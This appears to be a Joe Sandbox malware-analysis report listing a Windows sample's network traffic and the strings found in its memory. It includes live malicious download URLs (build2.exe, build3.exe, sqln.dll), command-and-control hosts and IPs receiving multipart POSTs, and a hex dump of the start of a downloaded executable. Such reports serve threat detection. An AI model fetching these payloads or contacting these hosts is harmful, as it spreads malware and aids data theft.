00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 24 Apr 2024 16:52:22 GMTServer: Apache/2.4.37 (Win64) PHP/5.6.40Last-Modified: Mon, 09 Oct 2023 19:50:06 GMTETag: "4ae00-6074de5a4a562"Accept-Ranges: bytesContent-Length: 306688Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 f8 06 6b 72 99 68 38 72 99 68 38 72 99 68 38 cf d6 fe 38 73 99 68 38 6c cb fd 38 6e 99 68 38 6c cb eb 38 fc 99 68 38 55 5f 13 38 7b 99 68 38 72 99 69 38 c9 99 68 38 6c cb ec 38 32 99 68 38 6c cb fc 38 73 99 68 38 6c cb f9 38 73 99 68 38 52 69 63 68 72 99 68 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0e d2 b9 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6a 03 00 00 98 3b 00 00 00 00 00 20 05 01 00 00 10 00 00 00 80 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 3e 00 00 04 00 00 b0 bf 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 68 03 00 64 00 00 00 00 90 3e 00 00 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 b8 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 68 03 00 00 10 00 00 00 6a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a8 ff 3a 00 00 80 03 00 00 0e 01 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6b 69 63 00 00 00 00 05 00 00 00 00 80 3e 00 00 02 00 00 00 7c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 2f 00 00 00 90 3e 00 00 30 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /profiles/76561199673019888 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 172.67.139.220 172.67.139.220
Source: Joe Sandbox View	IP Address: 211.171.233.129 211.171.233.129
Source: Joe Sandbox View	IP Address: 95.217.9.149 95.217.9.149

Source: Joe Sandbox View	ASN Name: LGDACOMLGDACOMCorporationKR LGDACOMLGDACOMCorporationKR
Source: Joe Sandbox View	ASN Name: UninetSAdeCVMX UninetSAdeCVMX

Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJJJDHDGDAAKECAKJDUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 279Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKFIDHDGIEGCAKFIIJKUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFIJKKEHJDHJKFIECAAUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GCAFCAFHJJDBFIECFBKEUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 6897Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqln.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGCGCGIEGCBFHIIEBFUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149

Source: C:\Users\user\Desktop\lzShU2RYJa.exe

Code function: 1_2_0040CF10 _memset,InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_0040CF10

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /profiles/76561199673019888 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /sqln.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: sdfjhuz.com
Source: global traffic	HTTP traffic detected: GET /test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com

Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: lzShU2RYJa.exe, 00000006.00000003.1755791058.0000000003440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.facebook.com/ equals www.facebook.com (Facebook)
Source: lzShU2RYJa.exe, 00000004.00000003.1755954231.0000000009A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.twitter.com/ equals www.twitter.com (Twitter)
Source: lzShU2RYJa.exe, 00000004.00000003.1756027220.0000000009A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: URL=http://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: api.2ip.ua
Source: global traffic	DNS traffic detected: DNS query: sdfjhuz.com
Source: global traffic	DNS traffic detected: DNS query: cajgtus.com
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBKJJJDHDGDAAKECAKJDUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 279Connection: Keep-AliveCache-Control: no-cache

Source: build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: lzShU2RYJa.exe, 00000004.00000003.2143584814.0000000003101000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2201975015.0000000003102000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2199555407.000000000085D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe
Source: lzShU2RYJa.exe, 00000004.00000002.2199555407.0000000000808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe$run
Source: lzShU2RYJa.exe, 00000004.00000002.2199555407.0000000000808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe$runV
Source: lzShU2RYJa.exe, 00000004.00000002.2199555407.0000000000808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exe$runinstall020921_delay721_sec.exe0D$
Source: lzShU2RYJa.exe, 00000004.00000003.2143584814.0000000003101000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2201975015.0000000003102000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exee
Source: lzShU2RYJa.exe, 00000004.00000002.2199555407.000000000085D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/files/1/build3.exerunC
Source: lzShU2RYJa.exe, 00000004.00000002.2199555407.000000000086E000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2199555407.000000000085D000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000006.00000002.4098404527.0000000000639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test2/get.php
Source: lzShU2RYJa.exe, 00000006.00000002.4098404527.0000000000639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637
Source: lzShU2RYJa.exe, 00000004.00000002.2199555407.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true
Source: lzShU2RYJa.exe, 00000004.00000002.2199555407.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=truei
Source: lzShU2RYJa.exe, 00000006.00000002.4098404527.0000000000639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637og)
Source: lzShU2RYJa.exe, 00000006.00000002.4098404527.0000000000639000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cajgtus.com/test2/get.phpg
Source: lzShU2RYJa.exe, 00000004.00000003.1761924489.0000000009A80000.00000004.00001000.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000003.1762184744.0000000009A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr
Source: lzShU2RYJa.exe, 00000000.00000002.1643736078.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000003.00000002.1672801974.0000000005E00000.00000040.00001000.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2198809829.0000000000400000.00000040.00000400.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000005.00000002.1678165141.0000000005F20000.00000040.00001000.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000006.00000002.4097772693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, lzShU2RYJa.exe, 0000000A.00000002.1811861387.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, lzShU2RYJa.exe, 0000000B.00000002.1824658419.0000000000400000.00000040.00000400.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000017.00000002.2074026012.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000018.00000002.2083221508.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: lzShU2RYJa.exe, 00000004.00000002.2199555407.000000000086E000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2199555407.000000000085D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exe
Source: lzShU2RYJa.exe, 00000004.00000002.2199555407.0000000000808000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exe$run
Source: lzShU2RYJa.exe, 00000004.00000002.2199555407.000000000086E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exe:
Source: lzShU2RYJa.exe, 00000004.00000002.2199555407.000000000085D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://sdfjhuz.com/dl/build2.exerun5980
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: lzShU2RYJa.exe, 00000006.00000003.1755712656.0000000003440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.amazon.com/
Source: lzShU2RYJa.exe, 00000004.00000003.1755806512.0000000009A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com/
Source: lzShU2RYJa.exe, 00000006.00000003.1755859834.0000000003440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.live.com/
Source: lzShU2RYJa.exe, 00000004.00000003.1755890222.0000000009A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.nytimes.com/
Source: lzShU2RYJa.exe, 00000018.00000002.2083221508.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: lzShU2RYJa.exe, 00000006.00000003.1755939336.0000000003440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.reddit.com/
Source: build2.exe, 00000008.00000002.1939081602.0000000020E34000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1938839176.000000001E8ED000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: lzShU2RYJa.exe, 00000004.00000003.1755954231.0000000009A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.twitter.com/
Source: build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: lzShU2RYJa.exe, 00000006.00000003.1755995661.0000000003440000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.wikipedia.com/
Source: lzShU2RYJa.exe, 00000004.00000003.1756027220.0000000009A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
Source: build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149
Source: build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/
Source: build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/%
Source: build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/2
Source: build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/3
Source: build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/4
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/7
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/H
Source: build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/W
Source: build2.exe, 00000008.00000002.1936973508.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/l.
Source: build2.exe, 00000008.00000002.1936973508.00000000008F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/nd-point:
Source: build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/ramData
Source: build2.exe, 00000008.00000002.1936229908.0000000000514000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://95.217.9.149/sqln.dll
